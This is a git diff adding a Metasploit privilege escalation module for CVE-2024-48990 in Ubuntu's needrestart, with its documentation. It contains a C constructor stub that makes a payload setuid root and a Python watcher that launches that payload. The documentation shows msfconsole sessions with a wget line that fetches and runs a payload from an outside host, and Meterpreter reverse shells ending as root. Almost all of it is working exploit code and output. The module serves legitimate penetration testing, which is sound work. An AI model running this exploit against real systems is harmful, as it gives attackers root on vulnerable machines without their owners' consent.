diff --git a/data/exploits/CVE-2024-48990/lib.metasm b/data/exploits/CVE-2024-48990/lib.metasm new file mode 100644 index 000000000000..cdb70f43a3a1 --- /dev/null +++ b/data/exploits/CVE-2024-48990/lib.metasm @@ -0,0 +1,27 @@ +/* +// system call +#include +// setuid, setgid +#include + +static void a() __attribute__((constructor)); + +void a() { + setuid(0); + setgid(0); + const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &"; + system(shell); +} +*/ + +extern int setuid(int); +extern int setgid(int); +extern int system(const char *__s); + +void a(void) __attribute__((constructor)); + +void __attribute__((constructor)) a() { + setuid(0); + setgid(0); + system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'"); +} \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/sleeper.py b/data/exploits/CVE-2024-48990/sleeper.py new file mode 100644 index 000000000000..777429c0092d --- /dev/null +++ b/data/exploits/CVE-2024-48990/sleeper.py @@ -0,0 +1,17 @@ +import os +import time +import pwd + +print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...") + +while True: + try: + file_stat = os.stat('PAYLOAD_PATH') + except FileNotFoundError: + exit() + username = pwd.getpwuid(file_stat.st_uid).pw_name + #print(f"Payload owned by: {username}. Stats: {file_stat}") + if (username == 'root'): + os.system('PAYLOAD_PATH &') + exit() + time.sleep(1) \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md new file mode 100644 index 000000000000..b4566de70113 --- /dev/null +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -0,0 +1,140 @@ +## Vulnerable Application + +Local attackers can execute arbitrary code as root by +tricking needrestart into running the Python interpreter with an +attacker-controlled PYTHONPATH environment variable. + +Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + +Exploitation against vulnerable needrestart versions on +Debian 12 and Fedora 39 were unsuccessful +however install and run instructions are listed below. + +### Debian + +Install: `apt-get install needrestart=3.6-4+deb12u1` + +Binary location: `/usr/sbin/needrestart` + +### Fedora 39 + +Install: `dnf install needrestart-3.6-9.fc39.noarch` + +Binary location: `/usr/sbin/needrestart` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get an initial shell +4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe` +5. Do: `set lhost ` +6. Do: `set lport ` +7. Do: `set session ` +8. Do: `run` +9. You should get a root shell. + +## Options + +## Scenarios + +### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + +Gain initial shell + +``` +msf6 > use exploit/multi/script/web_delivery +998 +run[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set target 7 +target => 7 +msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(multi/script/web_delivery) > set lport 4998 +lport => 4998 +msf6 exploit(multi/script/web_delivery) > set srvport 8998 +srvport => 8998 +msf6 exploit(multi/script/web_delivery) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 1.1.1.1:4998 +[*] Using URL: http://1.1.1.1:8998/dKtdkMS +[*] Server started. +[*] Run the following command on the target machine: +wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown +[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500 + +msf6 exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: h00die +meterpreter > background +[*] Backgrounding session 1... +``` + +Priv Esc + +``` +msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977 +lport => 4977 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1 +session => 1 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true +verbose => true +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run + +[*] Started reverse TCP handler on 1.1.1.1:4977 +[*] Running automatic check ("set AutoCheck false" to disable) + +[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04 +[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ... +[*] Uploading payload: /tmp/.1K8Hy2tOtq +[*] Creating directory /tmp/importlib +[*] /tmp/importlib created +[*] Uploading c_stub: /tmp/importlib/__init__.so +[*] Uploading py_script: /tmp/.FzzlJ +[*] Launching exploit, and waiting for needrestart to run... +``` + +On the remote Ubuntu box run `sudo needrestart` + +``` +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted +[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth: +[*] +[*] Traceback (most recent call last): +[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage +[*] exec(line) +[*] File "", line 1, in +[*] ImportError: dynamic module does not define module export function (PyInit_importlib) +[*] +[*] Remainder of file ignored +[*] ######################### +[*] +[*] Dont mind the error message above +[*] +[*] Waiting for needrestart to run... +[*] Payload owned by: root +[+] Deleted /tmp/.1K8Hy2tOtq +[+] Deleted /tmp/.FzzlJ +[+] Deleted /tmp/importlib +[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500 + +meterpreter > +meterpreter > getuid +Server username: root +``` diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb new file mode 100644 index 000000000000..b19594dd72d5 --- /dev/null +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Post::Linux::Kernel + include Msf::Exploit::FileDropper + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ubuntu needrestart Privilege Escalation', + 'Description' => %q{ + Local attackers can execute arbitrary code as root by + tricking needrestart into running the Python interpreter with an + attacker-controlled PYTHONPATH environment variable. + + Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + Attempted exploitation against Debian 12, expliotation failed + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'makuga01', # PoC + 'qualys' # original advisory + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Stance' => Msf::Exploit::Stance::Passive, # seems to not work... + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'], + [ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'], + [ 'CVE', '2024-48990'] + ], + 'DisclosureDate' => '2024-11-19', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + # fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f + # debian https://security-tracker.debian.org/tracker/CVE-2024-48990 + fixed_versions = { + '24.10' => Rex::Version.new('3.6-8ubuntu4.2'), + '24.04' => Rex::Version.new('3.6-7ubuntu4.3'), + '22.04' => Rex::Version.new('3.5-5ubuntu2.2'), + '20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'), + '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'), + '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'), + '12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm + '11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye + # may be more versions, but this felt good enough + '38' => Rex::Version.new('3.8-1'), + '39' => Rex::Version.new('3.8-1'), + '40' => Rex::Version.new('3.8-1'), + '41' => Rex::Version.new('3.8-1') + } + info = get_sysinfo + return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro] + + if info[:distro] == 'ubuntu' + version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info + return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version + elsif info[:distro] == 'debian' + return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it') + elsif info[:distro] == 'fedora' + return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it') + end + + return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart') + + package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') + package = package.split(' ')[2] + package = package.gsub('+', '.') + # next line will need to be included if we want to support fedora + # package = package.gsub('needrestart-', '') # fedora specific + package = Rex::Version.new(package) + return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil + + return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version] + + CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}") + end + + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # upload payload + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + vprint_status("Uploading payload: #{payload_path}") + register_files_for_cleanup(payload_path) + + # our c stub file does our chmod/chown/suid for the payload + c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm')) + c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path) + + case kernel_arch + when ARCH_X86 + cpu = Metasm::Ia32.new + when ARCH_X64 + cpu = Metasm::X86_64.new + else + fail_with Failure::NoTarget, 'Target is not compatible' + end + + begin + c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib) + c_stub_path = "#{base_dir}/importlib/__init__.so" + rescue StandardError + print_error "Metasm encoding failed: #{$ERROR_INFO}" + elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" + elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" + fail_with Failure::Unknown, 'Metasm encoding failed' + end + + mkdir "#{base_dir}/importlib" + write_file(c_stub_path, c_stub) + vprint_status("Uploading c_stub: #{c_stub_path}") + register_files_for_cleanup(c_stub_path) + register_dir_for_cleanup("#{base_dir}/importlib") + + # the python script is needed for having the PYTHONPATH set and watches + # for our payload to be modified, then run it + py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py')) + py_script = py_script.gsub('PAYLOAD_PATH', payload_path) + + py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + write_file py_stub_path, py_script + vprint_status("Uploading py_script: #{py_stub_path}") + register_files_for_cleanup(py_stub_path) + + # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the + # output from the exploit being run, they can optionally see it + timeout = 90_000 # 25 hours + print_status 'Launching exploit, and waiting for needrestart to run...' + output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end